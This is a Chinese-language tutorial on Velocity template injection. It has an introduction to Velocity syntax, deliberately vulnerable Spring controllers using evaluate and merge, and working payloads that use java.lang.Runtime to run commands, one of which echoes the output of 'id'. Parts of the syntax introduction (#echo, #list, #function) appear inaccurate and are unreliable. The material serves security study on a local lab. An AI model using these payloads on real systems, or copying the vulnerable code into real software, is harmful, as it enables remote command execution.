Velocity模板注入漏洞

什么是Velocity

Velocity 模板是一种用于快速开发 Web 应用程序的模板引擎。它允许开发人员使用自然语言和简单的语法来描述 Web 应用程序的 UI 和业务逻辑,从而提高开发效率和代码质量。

在 Velocity 中,开发人员可以使用模板文件来定义 Web 应用程序的用户界面和业务逻辑。这些模板文件通常使用 Velocity 语法进行描述,例如变量、条件语句、循环等。

Velocity 模板引擎使用一些内置的上下文对象,例如 $velocityContext、$templateLoader 和 $templateResolver。这些对象允许开发人员在模板中使用变量、加载模板文件和解析表达式等操作。

以下是一个简单的 Velocity 模板示例,该模板将两个数字相加并将结果打印到屏幕上:

#set ($result = $num1 + $num2)           
#echo $result

在这个示例中,$num1 和 $num2 是模板中的变量,它们将被编译成 Java 类的常量。$result 是模板中的输出变量,它将被编译成 Java 类的返回值。在模板中,可以使用 #set 指令将变量赋值给另一个变量,并使用 #echo 指令将结果输出到屏幕上。

Velocity 模板引擎还支持使用通配符和条件语句。例如,以下模板示例将根据用户输入的年份计算平均数并将结果打印到屏幕上:

#if ($year != null)  
    #set ($avg = $year / 4)  
#else  
    #set ($avg = 0)  
#end  
#echo $avg  

在这个示例中,如果 $year 不为 null,则使用 #set 指令将其除以 4,并将结果存储在 $avg 变量中。如果 $year 为 null,则使用 #set 指令将其存储在 $avg 变量中,并将其初始化为 0。在模板中,可以使用 #if 和 #else 指令来处理条件语句。

基础命令

1.#set:用于将变量赋值给另一个变量。例如,以下命令将 $x 的值设置为 2000:

#set ($x = 2000)

2.#list:用于列出变量的值。例如,以下命令将 $x 和 $y 的值列出:

#list ($x, $y)

3.#if:用于处理条件语句。如果条件为真,则模板将输出条件语句的值,否则输出空文本。例如,以下命令将输出 true 或 false:

#if ($x > 10)               
  true               
#else               
  false               
#end

4.#else:用于处理条件语句的特殊情况。如果条件语句为真,则输出条件语句的值,否则输出空文本。例如,以下命令将输出 true 或 false:

#if ($x > 10)               
  true               
#else               
  false               
#end

5.#foreach:用于处理循环。循环可以遍历数组、对象或字符串。例如,以下命令将遍历 $x 数组并输出每个元素的值:

#foreach ($x in $xs)               
  $x               
#end

6.#echo:用于输出模板中的文本。例如,以下命令将输出 Hello, World!:

#echo "Hello, World!"

7.#function:用于定义自定义函数。自定义函数可以处理数据,并在模板中使用。例如,以下命令定义了一个自定义函数 myFunction:

#function myFunction($x)               
  echo $x               
#end

8.#include:用于加载模板文件。例如,以下命令将加载名为 index.vm 的模板文件:

#include "index.vm"

漏洞分析

环境搭建

添加pom.xml依赖

image-20251206151604560

漏洞触发点-evaluate函数

evaluate函数 上述代码需要templateString可控

代码

@RequestMapping("/evaluate/vul-engine")
    @ResponseBody
    public String evaluateVulEngine(@RequestParam(defaultValue="x1ongsec") String username) throws IOException, ParseException{
        // 直接将用户输入嵌入模板字符串,存在模板注入风险
        String templateString = username;
        System.out.println("📡 收到 Velocity SSTI 请求");
        // 1. 打印参数
        System.out.println("📋 请求参数:");
        System.out.println("  username = " + username);
        System.out.println("  参数长度 = " + username.length());
        System.out.println(username);

        // 创建 VelocityEngine 实例(没有安全配置,存在漏洞)
        VelocityEngine velocityEngine = new VelocityEngine();

        // 使用默认配置初始化(危险!)
        velocityEngine.init();

        // 创建 Velocity 上下文并填充变量
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "x1ong x1ong x1ong");
        ctx.put("phone", "012345678");
        ctx.put("email", "admin@qwesec.com");

        // 解析模板
        StringWriter out = new StringWriter();
        velocityEngine.evaluate(ctx, out, "test", templateString);

        return out.toString();
    }

Payload

%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20calculator%22)
POST /evaluate/vul-engine HTTP/1.1
Host: localhost:9090
Content-Type: application/x-www-form-urlencoded

username=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20calculator%22)

image-20251206152520309

漏洞触发点-merge触发

merge方法使用VelocityEngine的getTemplate方法获取指定的模板文件,然后使用merge方法将模板和上下文数据合并为最终结果。

merge() 方法是将模板和数据合并,生成一个文本输出。它需要一个 VelocityContext 对象作为参数, 用于存储数据,并将数据与模板合并,生成输出。

evaluate() 方法也是将模板和数据合并,生成一个文本输出,但是它返回的是一个布尔值,表示模板是否成功执行。

evaluate() 方法通常用于执行带有条件的模板。

代码

 @RequestMapping("/merge/vul")
    @ResponseBody
    public String mergeVul(@RequestParam(defaultValue="x1ongsec") String username) throws IOException, ParseException {

        // 读取 Velocity 模板文件
        BufferedReader bufferedReader = new BufferedReader(new FileReader(
                String.valueOf(Paths.get(MainController.class.getClassLoader()
                        .getResource("templates/merge.vm")
                        .toString().replace("file:", ""))
                )
        ));

        // 将模板文件内容读取到字符串中
        StringBuilder stringBuilder = new StringBuilder();
        String line;
        while ((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line);
        }

        // 替换模板中的 <USERNAME> 变量,存在注入风险
        String templateString = stringBuilder.toString();
        templateString = templateString.replace("<USERNAME>", username);

        // 创建 Velocity 解析器
        StringReader reader = new StringReader(templateString);
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "x1ong x1ong x1ong");
        ctx.put("phone", "012345678");
        ctx.put("email", "admin@qwesec.com");

        // 解析并执行 Velocity 模板
        StringWriter out = new StringWriter();
        org.apache.velocity.Template template = new org.apache.velocity.Template();
        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
        SimpleNode node = runtimeServices.parse(reader, template);
        template.setRuntimeServices(runtimeServices);
        template.setData(node);
        template.initDocument();
        template.merge(ctx, out);

        return out.toString();
    }

image-20251206153738925

代码分析

执行velocityEngine.evaluate,跟进去,最后会调用 render 方法将解析后的内容渲染到 writer 中,并返回渲染结果。

image-20251207101529388

image-20251207101618201

有回显的命令执行Payload

#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('id'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end